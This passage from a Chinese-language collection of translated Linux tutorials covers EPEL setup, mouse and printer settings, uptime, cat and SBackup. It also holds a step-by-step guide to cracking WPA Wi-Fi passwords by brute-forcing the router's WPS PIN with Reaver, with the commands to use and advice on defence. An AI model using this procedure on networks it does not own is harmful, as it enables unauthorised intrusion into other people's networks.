> 然而需要引起注意的是，如果系统添加了多个第三方源，可能会因此产生冲突——一个软件包可以从多个源获取，一些源会替换系统的基础软件包，从而可能会产生意想不到的错误。已知的就有Rpmforge与EPEL会产生冲突。
>
>
> 对于这些问题我们建议，调整源的优先权或者有选择性的安装源，但是这需要复杂的操作，如果你不确定如何操作，我们推荐你只安装一个第三方源。
>
>
>

在CentOS 上安装EPEL
---------------

要想安装EPEL，我们先要下载EPEL的rpm安装包。

CentOS/RHEL下的6.x和5.x版本下载页面如下

<http://download.fedoraproject.org/pub/epel/6/i386/repoview/epel-release.html> <http://download.fedoraproject.org/pub/epel/5/i386/repoview/epel-release.html>

以上网址可能会被重定向到特定的镜像站而加快下载速度。这个页面包含可以直接获取到rpm包的下载链接。直接的下载链接如下：

<http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm> <http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm>

根据你的CentOS 版本来选择正确的下载地址。

请注意EPEL 的安装包是独立编译的，所以它可以安装在32位和64位系统中。

### 1. 确认你的CentOS 的版本

首先通过以下命令确认你的CentOS 版本

```
$ cat /etc/redhat-release
CentOS release 6.4 (Final)

```

### 2. 下载EPEL 的rpm 安装包

现在从上面的地址下载CentOS 版本所对应的EPEL 的版本

```
$ wget http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm

```

### 3. 安装EPEL

通过以下命令安装EPEL 软件包

```
$ sudo rpm -ivh epel-release-6-8.noarch.rpm

```

或

```
$ sudo rpm -ivh epel-release*

```

### 5. 检查EPEL 源

安装好EPEL 源后，用yum 命令来检查是否添加到源列表

```
# yum repolist
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
 * base: mirrors.vonline.vn
 * epel: buaya.klas.or.id
 * extras: centos-hn.viettelidc.com.vn
 * updates: mirrors.fibo.vn
repo id        repo name                                              status
base           CentOS-6 - Base                                         6,381
epel           Extra Packages for Enterprise Linux 6 - x86_64         10,023
extras         CentOS-6 - Extras                                          13
nginx          nginx repo                                                 47
updates        CentOS-6 - Updates                                      1,555
repolist: 18,019

```

EPEL已经在repo 后列出，并且显示提供了上万个软件包，所以EPEL 已经安装到你的CentOS了。

EPEL源的配置安装到了 **/etc/yum.repos.d/epel.repo** 文件。

现在来试一下从EPEL 获取软件包

```
$ sudo yum install htop

```

---

via: <http://www.binarytides.com/setup-epel-repository-centos/>

译者：[NearTan](https://github.com/NearTan) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


每日Ubuntu小技巧－让鼠标适合左利手用户

Summary:
电脑的鼠标被设计成使用食指（大拇指旁边的那个手指）完成大部分操作。默认情况下鼠标为右利手用户配置。打开电脑时，多数情况下你会使用食指完成点击动作。
事实上，许多左利手用户（俗称左撇子）习惯把鼠标放到键  ...

电脑的鼠标被设计成使用食指（大拇指旁边的那个手指）完成大部分操作。默认情况下鼠标为右利手用户配置。打开电脑时，多数情况下你会使用食指完成点击动作。

事实上，许多左利手用户（俗称左撇子）习惯把鼠标放到键盘的左边，然后用中指进行单击操作。但这并不是左利手用户使用鼠标最好的方法。

这个简短的教程为想要正确地使用左手操作鼠标的用户而编写。它将会帮助左利手用户将鼠标设置成用食指点击鼠标主键的操作模式。

这个教程同样适用于右利手用户。如果鼠标为左利手用户设置，那么右利手用户可以使用这个教程将鼠标键切换回来。

好了，现在咱们开始吧，点击顶部右端面板中的齿轮按钮选择**System Settings（系统设置）**...

![](/data/attachment/album/201312/02/2325171sg7yt6kq6o51kga.png)

然后在系统设置选项中选择**Mouse & Touchpad (鼠标和触摸板)**，打开后选择‘**Right(右)**’选项，这样就可以改变鼠标的主键以适应左利手用户。

![](/data/attachment/album/201312/02/232517u1ugnrz5x7316yvv.png)

改回左以适应右利手用户。改变将会在选择后立即生效。

就是这样了。现在左撇子用户可以将鼠标移到键盘左边，用左手的食指来正确地操作鼠标了。

使用愉快！

---

via: <http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsmake-the-mouse-left-handed-for-left-hand-users/>

译者：[Linchenguang](https://github.com/Linchenguang) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


每日Ubuntu小技巧-使用Windows共享打印机进行打印

Summary:
对于那些既有Windows电脑又有Ubuntu电脑但却只有一台打印机的用户，这篇博文向你展示如何在Windows中共享一个打印机，并允许Ubuntu使用它来打印。
几乎所有的打印机都默认支持Windows系统。许多打印机生产商都为Wind ...

对于那些既有Windows电脑又有Ubuntu电脑但却只有一台打印机的用户，这篇博文向你展示如何在Windows中共享一个打印机，并允许Ubuntu使用它来打印。

几乎所有的打印机都默认支持Windows系统。许多打印机生产商都为Windows生产打印机，但为包括Ubuntu在内的Linux系统生产的并不多。所以，假如你有一台支持Windows的打印机，你可以在Windows机器上分享它，然后让其它系统来使用它来打印。

在几年之前，我遇到了这个问题，那时大多数打印机生产商不支持Linux系统。我有一台老式的只支持Windows和Mac OS X但却不支持Linux的打印机。（译注：除非是特别冷门的打印机，现在一般都可以在Linux进行打印操作了。在译者看来，本文的理由不成立，不过做法成立。）

我在我的Windows机器上安装了打印机驱动，然后它就可以很好的工作咯。我的Windows机器使用它来打印非常好，但是我的Ubuntu却无法使用它来打印，因为打印机并不支持LAN接口。

所以，我在Windows上共享该打印机，然后我的Ubuntu机器就可以使用合适的字体和风格进行打印咯。假如你也遇到类似的情景，你可以按照下面的指导来操作。

首先，登入Windows，右击你要共享的打印机，然后点击‘**Printer properties（打印机属性）**’

![](/data/attachment/album/201312/02/2318288rr896lv8tb6i6bk.png)

接着，选择“**Sharing（共享）**”标签页，勾选‘**Share this printer（共享这台打印机）**’复选框来共享。记住共享打印机的名字，因为你要使用这个共享名来连接这台打印机。

![](/data/attachment/album/201312/02/231828rb6qjrfbffr3u8qw.png)

最后，以管理员权限运行命令行终端，运行以下命令以便于文件和打印机可以通过防火墙实现共享。

```
netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes

```

接着，登入Ubuntu中，选择顶部面板右边的**齿轮**，然后选择**系统设置...**

系统设置打开后，选择打印机，然后点击**添加**。当跳出来一个窗口让你选择设备时，选择‘**Windows Printer via SAMBA（使用SAMBA的Windows打印机）**’。

![](/data/attachment/album/201312/02/231829fzk7mdxhjcf7hyyf.png)

键入Windows电脑的IP地址或者主机名，后面接着键入共享的打印机名。你可能需要键入你的windows验证信息（用户名和密码）。点击浏览来验证你是否可以看到打印机，当你完成这些后，就可以点击下一步继续。

接着，选择打印机品牌和型号。假如你在列表中看不到特定的型号，选择一个最接近它的然后继续。

![](/data/attachment/album/201312/02/231830s203a0z2ksn03fp2.png)

以上这些都搞定了之后，你的打印机就已安装好，可以使用喽。

![](/data/attachment/album/201312/02/23183065688g3ruku2d3rk.png)

好好享受吧！

---

via: <http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-print-from-shared-windows-printers/>

译者：[Linux-pdz](https://github.com/Linux-pdz) 校对：[Caroline](https://github.com/carolinewuyan)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


Linux Uptime 命令，让你知道你的系统运行了多久

Summary: 对于一些人来说系统运行了多久是无关紧要的，但是对于服务器管理员来说，这是相当重要的信息。服务器在运行重要应用的时候，必须尽量保证长时间的稳定运行，有时候甚至要求零宕机。那么我们怎么才能知道服务器运行了 ...

![](/data/attachment/album/201312/03/222925cg2x5cfazbcxsbc9.png)

对于一些人来说系统运行了多久是无关紧要的，但是对于服务器管理员来说，这是相当重要的信息。服务器在运行重要应用的时候，必须尽量保证长时间的稳定运行，有时候甚至要求零宕机。那么我们怎么才能知道服务器运行了多久呢？

在Linux 下，我们可以使用uptime 命令，而且此命令不必使用root 权限。uptime 命令在系统中已经默认安装了。

语法如下：

```
$ uptime

```

你会在屏幕上看到如下显示：

![](/data/attachment/album/201312/03/222932r0l555qqy0ghhull.png)

这些信息保存在/proc/uptime 文件中，虽然是以文本方式保存，但是这些数据却不能直接显示，这就需要我们使用uptime 命令来翻译它。

以下是如何解读uptime 提供的信息：

### 系统时间

在图1中，左起第一条信息是14:04:39，这就是当前系统时间，以24小时格式输出。

### 系统运行时间

第二条信息**Up 1004 days, 12:20**，这是显示你的系统运行时间。图1 显示你的系统已经运行了1004天12小时20分钟，如果你的系统没有运行超过24小时，这里将只会显示小时分钟或者只显示分钟。注意图2、图3的信息，当系统重启后将会清零。

![](/data/attachment/album/201312/03/222933ae8aahs7s77ae487.png)

![](/data/attachment/album/201312/03/222933m0a5u5yrwan5njyg.png)

### 已登录用户的数量

第三部分的信息是显示已登陆用户的数量。在图1中，显示的是**1 user** ，即当前登录用户数量。当多个用户在同时登陆系统时，uptime 命令将告诉你用户的数量。

### 平均负载量

最后一个信息是系统的平均负载量。回到图1，你看到这样带两位小数的数字**0.25, 0.25, 0.19**可以换算成百分比，即0.25和0.19分别代表着25%和19%。0.25, 0.25, 0.19分别代表着过去1分钟、5分钟、15分钟系统的平均负载量。负载量越低意味着你的系统性能越好。

这就是**uptime** 命令的日常使用指导，如果想获取更详细的信息，请通过输入**man uptime** 进入uptime 命令的manual 页面来查看。

你的机器已经运行多久了？贴出你的uptime给大家看看吧。

---

via: <http://linoxide.com/linux-command/linux-uptime-command/>

译者：[NearTan](https://github.com/NearTan) 校对：[Caroline](https://github.com/carolinewuyan)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


如何使用Reaver破解Wi-Fi网络的WPA密码

Summary: Wi-Fi网络能够让我们便利地访问因特网，但同时，我们又不希望隔壁抠门猥琐男总是蹭我们的网，所以自然要给WiFi加个密码，对吧？于是，好消息是，也许你已经看过我的另一篇文章，如何轻易破解WEP密码，所以你使用了更 ...

请问，破解的速度取决于密码本的强度吗？

![](/data/attachment/album/201312/05/0907550rgvprp4bjh2jj44.jpg)

Wi-Fi网络能够让我们便利地访问因特网，但同时，我们又不希望隔壁抠门猥琐男总是蹭我们的网，所以自然要给WiFi加个密码，对吧？于是，好消息是，也许你已经看过我的另一篇文章，“[如何使用BackTrack破解WIFI无线网络的WEP密钥](http://linux.cn/article-2382-1.html)”，所以你使用了更稳固的WPA安全协议。

但坏消息是，现在有一款自由开源新工具——[Reaver](http://code.google.com/p/reaver-wps/)，已经挖掘出了无线路由器的一个漏洞，由此能够破解绝大多数路由器上的密码。今天，我就来一步步介绍，如何使用Reaver破解WPA/WPA2密码。最后我会给出相应的防范对策。

文章的第一部分，是使用Reaver破解WPA的详细步骤，读者可以看视频，也可以跟着下面的文字一起做。然后，我会解释Reaver的工作原理。最后，介绍如何防范Reaver攻击。

<http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1>

在正式开始之前，我还是要不厌其烦强调一下：知识就是力量，但是拥有力量不代表着可以为所欲为、触犯法律。同样，骑白马的不一定是王子，会开锁的也不一定是小偷。本文只是关于某些技术的实验与验证，只适用于学习。你知道的越多，就能够越好的保护自己。

### 准备工作

首先，无需成为一名网络专家，学会使用复杂的命令行工具，你只需要准备一张空白DVD、一台能连接WiFi的电脑，并腾出几个小时时间，这就是我们基本需要的东西。要安装Reaver，可以有很多方法，但是这里我们建议你按照下面的指南来做：

![](/data/attachment/album/201312/05/090756igii1hm7gd0ubddh.jpg)

* [**The BackTrack 5 Live DVD**](http://www.backtrack-linux.org/downloads/)。BackTrack是一款支持自启动的Linux发行版，上面集成了大量的网络测试工具。虽然这对于安装、配置Reaver并不是必需的一个条件，但是对于大多数用户却是最简单一个方法。从[BackTrack的下载页面（传送门）](http://www.backtrack-linux.org/downloads/)下载Live DVD，然后刻盘。这里你也可以下载镜像然后使用VMware安装，如果你不知道VMware是啥，额，那就还是刻盘吧。如图所示，下载的时候，下拉菜单选择BackTrack 5 R3版本、Gnome环境、根据你的CPU选择32或64位系统（如果这里不确定是32还是64，为了保险起见，请选择32位），下载类型选择ISO，然后就可以点击下载了。
* **配有DVD光驱、支持WiFi的电脑**。BackTrack支持大多数的笔记本无线网卡，这一点对于大多数读者应该没什么问题。同时，你的电脑需要有一个DVD光驱，这样才能从BackTrack光盘启动。我的测试环境是一台用了6年的MacBook Pro。
* **附近要有采用WPA加密的WiFi网络**。没WiFi网，你破解谁去 =。= ……一会我会在“Reaver的工作原理部分”介绍，WiFi防护设置是如何产生安全漏洞、WPA破解是如何成为可能的。
* **最后，你还需要一点点的耐心**。这是整个实验的最后一步，使用Reaver破解WPA密码并不难，它采用的是暴力破解，因此，你的电脑将会测试大量不同的密码组合，来尝试破解路由器，直到最终找到正确的密码。我测试的时候，Reaver花了大概两个半小时破解了我的WiFi密码。[Reaver的主页](http://code.google.com/p/reaver-wps/)上介绍，一般这个时间在4到10个小时之间，视具体情况而定。

### 让我们开始吧

此时，你应该已经把BackTrack的DVD光盘刻录好了，笔记本也应该已经准备就绪。

#### 第1步：启动BackTrack

要启动BackTrack，只需将DVD放入光驱，电脑从光盘启动。（如果不知道如何使用live CD或DVD启动，请自行Google。）启动过程中，BackTrack会让你选择启动模式，选择默认的“BackTrack Text - Default Boot Text Mode”然后回车。

最终BackTrack会来到一个命令行界面，键入startx，回车，BackTrack就会进入它的图形界面。

#### 第2步：安装Reaver

（文章更新：Reaver在R3版中已经预装，如果你安装的是BT5的R3版，这一步骤可以忽略，直接跳到第3步。）

Reaver已经加入了BackTrack的最新版软件包，只是还没有集成到live DVD里，所以，在本文最初撰写的时候，你还需要手动安装Reaver。要安装Reaver，首先设置电脑联网。

1.点击Applications > Internet > Wicd Network Manager 2.选择你的网络并点击Connect，如果需要的话，键入密码，点击OK，然后再次点击Connect。

连上网以后，安装Reaver。点击菜单栏里的终端按钮（或者依次点击 Applications > Accessories > Terminal）。在终端界面，键入以下命令：

```
apt-get update

```

更新完成之后，键入：

```
apt-get install reaver

```

如果一切顺利，Reaver现在应该已经安装好了。如果你刚才的下载安装操作使用的是WiFi上网，那么在继续下面的操作之前，请先断开网络连接，并假装不知道WiFi密码 =。= 接下来我们要准备破解它~

#### 第3步：搜集设备信息，准备破解

在使用Reaver之前，你需要获取你无线网卡的接口名称、路由的BSSID（BSSID是一个由字母和数字组成的序列，用于作为路由器的唯一标识）、以及确保你的无线网卡处于监控模式。具体参见以下步骤。

**找到无线网卡：**在终端里，键入：

```
iwconfig

```

回车。此时你应该看到无线设备的相关信息。一般，名字叫做wlan0，但如果你的机子不止一个无线网卡，或者使用的是不常见的网络设备，名字可能会有所不同。

![](/data/attachment/album/201312/05/090757vqw8qqpggqqqqgiq.jpg)

**将无线网卡设置为监控模式**：假设你的无线网卡接口名称为wlan0，执行下列命令，将无线网卡设置为监控模式：

```
airmon-ng start wlan0

```

这一命令将会输出监控模式接口的名称，如下图中箭头所示，一般情况下，都叫做mon0。

![](/data/attachment/album/201312/05/090759prxxrnx49ore1rxz.jpg)

**找到你打算破解的路由器的BSSID**：最后，你需要获取路由器的唯一标识，以便Reaver指向要破解的目标。执行以下命令：

```
airodump-ng wlan0

```

（注意：如果airodump-ng wlan0命令执行失败，可以尝试对监控接口执行，例如airodump-ng mon0）

此时，你将看到屏幕上列出周围一定范围内的无线网络，如下图所示：

![](/data/attachment/album/201312/05/0908008cvbl7t76hnm76hh.jpg)

当看到你想要破解的网络时，按下Ctrl+C，停止列表刷新，然后复制该网络的BSSID（图中左侧字母、数字和分号组成的序列）。从ENC这一列可以看出，该网络是WPA或WPA2协议。（如果为WEP协议，可以参考我的[前一篇文章——WEP密码破解指南](http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack)）

现在，手里有了BSSID和监控接口的名称，万事俱备，只欠破解了。

#### 第4步：使用Reaver破解无线网络的WPA密码

在终端中执行下列命令，用你实际获取到的BSSID替换命令中的bssid：

```
reaver -i moninterface -b bssid -vv

```

例如，如果你和我一样，监控接口都叫做mon0，并且你要破解的路由器BSSID是8D:AE:9D:65:1F:B2，那么命令应该是下面这个样子：

```
reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv

```

最后，回车！接下来，就是喝喝茶、发发呆，等待Reaver魔法的发生。Reaver将会通过暴力破解，尝试一系列PIN码，这将会持续一段时间，在我的测试中，Reaver花了2个半小时破解网络，得出正确密码。正如前文中提到过的，Reaver的文档号称这个时间一般在4到10个小时之间，因此根据实际情况不同，这个时间也会有所变化。当Reaver的破解完成时，它看起来是下图中这个样子：

![](/data/attachment/album/201312/05/09080108y4djog4vz20g4d.jpg)

**一些要强调的事实**：Reaver在我的测试中工作良好，但是并非所有的路由器都能顺利破解（后文会具体介绍）。并且，你要破解的路由器需要有一个相对较强的信号，否则Reaver很难正常工作，可能会出现其他一些意想不到的问题。整个过程中，Reaver可能有时会出现超时、PIN码死循环等问题。一般我都不管它们，只是保持电脑尽量靠近路由器，Reaver最终会自行处理这些问题。

除此以外，你可以在Reaver运行的任意时候按下Ctrl+C中断工作。这样会退出程序，但是Reaver下次启动的时候会自动恢复继续之前的工作，前提是只要你没有关闭或重启电脑（如果你直接在live DVD里运行，关闭之前的工作都会丢失）。

### Reaver的工作原理

你已经学会了使用Reaver，现在，让我们简单了解一下Reaver的工作原理。它利用了WiFi保护设置（WiFi Protected Setup - 下文中简称为WPS）的一个弱点，WPS是许多路由器上都有的一个功能，可以为用户提供简单的配置过程，它与设备中硬编码保存的一个PIN码绑定在一起。Reaver利用的就是PIN码的一个缺陷，最终的结果就是，只要有足够的时间，它就能破解WPA或WPA2的密码。

关于这个缺陷的具体细节，参看[Sean Gallagher's excellent post on Ars Technica](http://arstechnica.com/business/news/2011/12/researchers-publish-open-source-tool-for-hacking-wifi-protected-setup.ars)。

### 如何防范Reaver攻击

该缺陷存在于WPS的实现过程中，因此，如果能够关闭WPS，WiFi就是安全的（或者，更好的情况是，你的路由器天生就木有这一功能）。但不幸的是，正如Gallagher[在Ars的文章中所指出的](http://arstechnica.com/business/news/2012/01/hands-on-hacking-wifi-protected-setup-with-reaver.ars)，即使在路由器设置中人为关掉了WPS，Reaver仍然能够破解其密码。

>
> 在一次电话通话中，Craig Heffner说道，很多路由器即使关闭WPS都无法有效防范攻击。他和同事一起测试过，所有的Linksys和Cisco Valet无线路由器都是如此。“在所有的Linksys路由器上，你甚至无法手动关闭WPS，”他说，尽管Web界面中有关闭WPS配置的按钮，但是“它仍然会自动打开，极易受到攻击”。
>
>
>

因此，方法一：失败！。也许你可以亲自尝试把你的路由器WPS关闭，然后测试一下Reaver是否还能成功破解。

你也可以在路由器中设置一下MAC地址过滤（只允许指定的白名单设备连接你的网络），但是有经验的黑客还是能够检测出设备的白名单MAC地址，并使用MAC地址仿冒你的计算机。

方法二：失败！那到底该怎么办？

我的建议是，我曾经在我的路由器上安装了开源路由固件[DD-WRT](http://dd-wrt.com/)，成功防御了Reaver攻击。因为，[DD-WRT天生就是不支持WPS的](http://code.google.com/p/reaver-wps/issues/detail?id=44)，因此，这成为了又一个我热爱自由软件的原因。如果你也对DD-WRT感兴趣，可以看一下这里的[设备支持列表](http://dd-wrt.com/wiki/index.php/Supported_Devices)，看是否支持你的路由器设备。除了安全上的升级，DD-WRT还可以[监控网络行为](http://lifehacker.com/5821773/how-to-monitor-your-internet-usage-so-you-dont-exceed-your-data-cap)，[设置网络驱动器](http://lifehacker.com/5756233/get-more-out-of-your-dd+wrt-router-with-an-external-drive?tag=ddwrt)，[拦截广告](http://lifehacker.com/5680670/turn-your-dd+wrt-enabled-router-into-a-whole-house-ad-blocker?tag=ddwrt)，[增强WiFi信号范围](http://lifehacker.com/5563196/turn-your-old-router-into-a-range+boosting-wi+fi-repeater?tag=ddwrt)等，它完全可以[让你60美刀的路由器发挥出600美刀路由器的水平](http://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router)！

---

via: <http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver>

译者：[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


13个Cat命令管理(显示，排序，建立)文件实例

Summary:
在Linux系统中，大多数配置文件、日志文件，甚至shell脚本都使用文本文件格式，因此，Linux系统存在着多种文本编辑器，但当你仅仅想要查看一下这些文件的内容时，可使用一个简单的命令-cat。
cat手册里这样描述：

c ...

![](/data/attachment/album/201312/05/1052534bjbobzygoyosglo.png)

在Linux系统中，大多数配置文件、日志文件，甚至shell脚本都使用文本文件格式，因此，Linux系统存在着多种文本编辑器，但当你仅仅想要查看一下这些文件的内容时，可使用一个简单的命令-cat。

cat手册里这样描述：

>
> cat命令读取文件内容，并输出到标准设备上面
>
>
>

cat是一条linux内置命令. 几乎所有linux发行版都内置（译注：或者说我从未听说过不内置cat命令的发行版）。接下来，让我们开始学习如何使用.

### 1. 显示文件内容

最简单的方法是直接输入‘cat file\_name’.

```
# cat /etc/issue

CentOS release 5.10 (Final)
Kernel \r on an \m

```

### 2. 同时显示行号

当在读取内容很多的配置文件时，如果同时显示行号将会使操作变简单，加上-n参数可以实现.

```
# cat -n /etc/ntp.conf

1 # Permit time synchronization our time resource but do not
2 # permit the source to query or modify the service on this system
3 restrict default kod nomodify notrap nopeer noquery
4 restrict -6 default kod nomodify notrap nopeer noquery
5
6 # Permit all access over the loopback interface. This could be
7 # tightened as well, but to do so would effect some of the
8 # administration functions
9 restrict 127.0.0.1
10 restrict -6 ::1

```

### 3. 在非空格行首显示行号

类似于-n参数，-b也可以显示行号。区别在于-b只在非空行前显示行号。

```
#cat -b /etc/ntp.conf

1 # Permit time synchronization our time resource but do not
2 # permit the source to query or modify the service on this system
3 restrict default kod nomodify notrap nopeer noquery
4 restrict -6 default kod nomodify notrap nopeer noquery

5 # Permit all access over the loopback interface. This could be
6 # tightened as well, but to do so would effect some of the
7 # administration functions
8 restrict 127.0.0.1
9 restrict -6 ::1

```

### 4. 显示tab制表符

当你想要显示文本中的tab制表位时. 可使用-T参数. 它会在输入结果中标识为 **^I** .

```
# cat -T /etc/hosts

# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1^I^Ilocalhost.localdomain localhost
::1^I^Ilocalhost6.localdomain6 localhost6

```

### 5. 显示换行符

-E参数在每行结尾使用 **$** 表示换行符。如下所示 :

```
# cat -E /etc/hosts

# Do not remove the following line, or various programs$
# that require network functionality will fail.$
127.0.0.1 localhost.localdomain localhost$
::1 localhost6.localdomain6 localhost6$

```

### 6. 同时显示制表符及换行符

当你想要同时达到-T及-E的效果, 可使用-A参数.

```
# cat -A /etc/hosts

# Do not remove the following line, or various programs$
# that require network functionality will fail.$
127.0.0.1^I^Ilocalhost.localdomain localhost$
::1^I^Ilocalhost6.localdomain6 localhost6$

```

### 7. 分屏显示

当文件内容显示超过了你的屏幕大小, 可结合cat命令与其它命令分屏显示。使用管道符 ( | )来连接。

```
# cat /proc/meminfo | less

# cat /proc/meminfo | more

```

在less与more显示结果的区别在于less参数可pageup及pagedown上下翻滚。而more仅能使用空格向下翻屏。

### 8. 同时查看2个文件中的内容

位于/root文件夹里有两个文件取名linux及desktop，每个文件含有以下内容 :

**Linux** : ubuntu, centos, redhat, mint and slackware

**Desktop** : gnome kde, xfce, enlightment, and cinnamon

当你想同时查看两文件中的内容时，可按如下方法 :

```
# cat /root/linux /root/desktop

ubuntu
centos
redhat
mint
slackware
gnome
kde
xfce
enlightment
cinnamon

```

### 9. 排序显示

类似. 你也可以结合cat命令与其它命令来进行自定义输出. 如结合 **sort** ，通过管道符对内容进行排序显示。举例 :

```
# cat /root/linux | sort

centos
mint
redhat
slackware
Ubuntu

```

### 10. 输入重定向

你也可将显示结果输出重定向到屏幕或另一个文件。 只需要使用 > 符号（大于号）即可输出生成到另一个文件。

```
# cat /root/linux > /root/linuxdistro

```

以上命令会生成一个与/root/linux内容一模一样的叫linuxdistro的文件.

### 11. 新建文件

Linux下有多种方法新建文件。其中使用cat就是方法之一.

```
# cat > operating_system

Unix
Linux
Windows
MacOS

```

当你输入cat > operating*system，它会生成一个operating*system的文件。然后下面会显示空行。此时你可输入内容。比如我们输入Unix, Linux, Windows 和 MacOS， 输入完成后，按**Ctrl-D**存盘退出cat。此时你会发现当前文件夹下会生成一个包含你刚才输入内容的叫 **operating\_system**的文件。

### 12.向文件中追加内容

当你使用两个 > 符时, 会将第一个文件中的内容追加到第二个文件的末尾。 举例 :

```
# cat /root/linux >> /root/desktop

# cat /root/desktop

```

它会将 /root/linux的内容追加到/root/desktop文件的末尾。

第二个文件的内容将会变成这样:

```
gnome
kde
xfce
enlightment
cinnamon
ubuntu
centos
redhat
mint
slackware

```

### 13. 重定向输入

你可使用 **<**命令（小于号）将文件输入到cat中.

```
# cat < /root/linux

```

上面命令表示 /root/linux中的内容作为cat的输入。屏幕上显示如下 :

```
ubuntu
centos
redhat
mint
slackware

```

为了更清楚表示它的意义，我们使用以下命令 :

```
# cat < /root/linux | sort > linux-sort

```

此命令这样理解: **从/root/linux中读取内容，然后排序，将结果输出并生成linux-sort新文件**

然后我们看看linux-sort中的内容 :

```
centos
mint
redhat
slackware
ubuntu

```

以上是一些cat命令的日常基本应用. 更多相关你可从cat命令手册中学到并记得经常练习它们.

---

via: <http://linoxide.com/linux-command/13-cat-command-examples/>

译者：[hongchuntang](https://github.com/hongchuntang) 校对：[Caroline](https://github.com/carolinewuyan)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出


SBackup: 一个Linux下的简单备份软件

Summary: SBackup 是一个简单易用的开源备份软件。它可以备份任意文件或者文件夹的一部分。所有的配置文件可以通过 Gnome 界面进行访问。文件和路径可以直接通过正则表达式进行添加和排除。它支持本地备份和远程备份。虽然它  ...

**SBackup** 是一个简单易用的开源备份软件。它可以备份任意文件或者文件夹的一部分。所有的配置文件可以通过 Gnome 界面进行访问。文件和路径可以直接通过正则表达式进行添加和排除。它支持本地备份和远程备份。虽然它看起来简单，但是它有着许多常见的高级备份功能。

### 特点

SBackup 可以完成以下工作

* 可以创建压缩和未压缩的备份
* 可以把未压缩的备份分割成多份文件
* 支持多份备份配置。每个人都可以根据自己的需求创建并修改自己的配置文件，但是不能删除默认配置文件
* 有多种选项，如日志、邮件通知、以状态图标的形式展现和提醒
* 支持计划任务备份和手动备份
* 可以备份到本地（如硬盘），也可以备份到远程（如通过 FTP 访问 NAS）

### 在 Ubuntu、Linux Mint 和 Debian 上安装 SBackup

SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得，所以只要运行以下命令即可安装

```
sudo apt-get install sbackup

```

### 运行 SBackup

通过 Dash 或者 Menu 打开 SBackup

![](/data/attachment/album/201312/05/230853gbizrr8gojq85iac.jpg)

将会看到如下界面

![](/data/attachment/album/201312/05/2308551y4tktkpf5kpf0kq.jpg)

### SBackup 配置

最初的 SBackup 没有任何用户自定义的配置文件，只有默认的配置文件。需要注意的是，用户不能删除默认的配置文件。若要创建一个新的配置文件，点击 Tools -> Profile Manager，将看到如下窗口

![](/data/attachment/album/201312/05/2308574j4k004c4qjk0p64.jpg)

单击 Add 来创建新配置文件，例子的文件用“sk”来命名

![](/data/attachment/album/201312/05/230902jldep6rzrkzriaee.jpg)

现在已经创建了新的配置文件。若要设置配置，先选择配置文件，再单击 Edit

![](/data/attachment/album/201312/05/2309048xctz6xxwy8ge88u.jpg)

现在看到 SBackup 的配置文件已经被切换到“sk”

![](/data/attachment/album/201312/05/230906tahj96f50th999z9.jpg)

当然，也可以根据不同人的需求来修改默认配置文件

**注意事项**：如果你用普通用户运行 SBackup，计划任务备份不能生效，你需要用 root 用户来运行。如上图所示，因为我是以普通用户运行 Sbackup，所以 Schedule 选项是灰色不可选中状态。

在本教程中，我将以 root 权限运行 SBackup，并且使用的是**默认配置**

打开终端，运行以下命令来以 root 权限运行 SBackup

```
sudo sbackup-config-gtk

```

上面的命令将以 root 权限打开默认配置的 SBackup

![](/data/attachment/album/201312/05/230908ityoysroizpzuufk.jpg)

#### General选项卡

在 General 选项内，你可以选择多久进行一次完整备份，默认是7天。每7天 SBackup 将会进行一次完整的备份。你也可以选择备份的压缩格式。

![](/data/attachment/album/201312/05/23091313ndqkkizb7kvvq9.jpg)

#### Include选项卡

这个选项不需要解释太多，你可以添加 SBackup 要备份的文件或目录。这里可以选择备份单独的文件或者完整的目录，我删除了所有的目录仅仅保留了“Resume”

![](/data/attachment/album/201312/05/230915vhhx2432bc032r2b.jpg)

#### Exclude选项卡

如同 Include 选项，我们可以选择备份时排除的文档和目录，只需要选择要排除的文档和目录的路径即可。在默认配置下，/media, /var/run/, /var/cache/, /var/spool/ 和 /vat/tmp/ 目录均被排除

![](/data/attachment/album/201312/05/230917onna955o8s4r4oo0.jpg)

更进一步的是，你可以增加备份时排除文件的类型，像 mp3 和 avi 等等。在默认配置下，mp3, avi, mpeg, mkv, ogg 和 iso 是被排除不被备份的。如果你想备份这些文件，只要选中然后点击 remove。当然，如果要排除其他类型的文件，只需要点击 add 然后增加。

![](/data/attachment/album/201312/05/23091990fsr4sf0da9ax88.jpg)

在默认配置下，SBackup 不会备份.gvfs, .thumbnails, .Trash 和 .cache 这些文件夹

![](/data/attachment/album/201312/05/230920at3b72gzngy9qq7a.jpg)

同时你也可以在备份时根据文件大小来排除某些文档和文件夹，这里我排除了体积超过100MB 的文档和文件夹。

![](/data/attachment/album/201312/05/230928z22lo12ww1iuupwi.jpg)

#### Destination选项卡

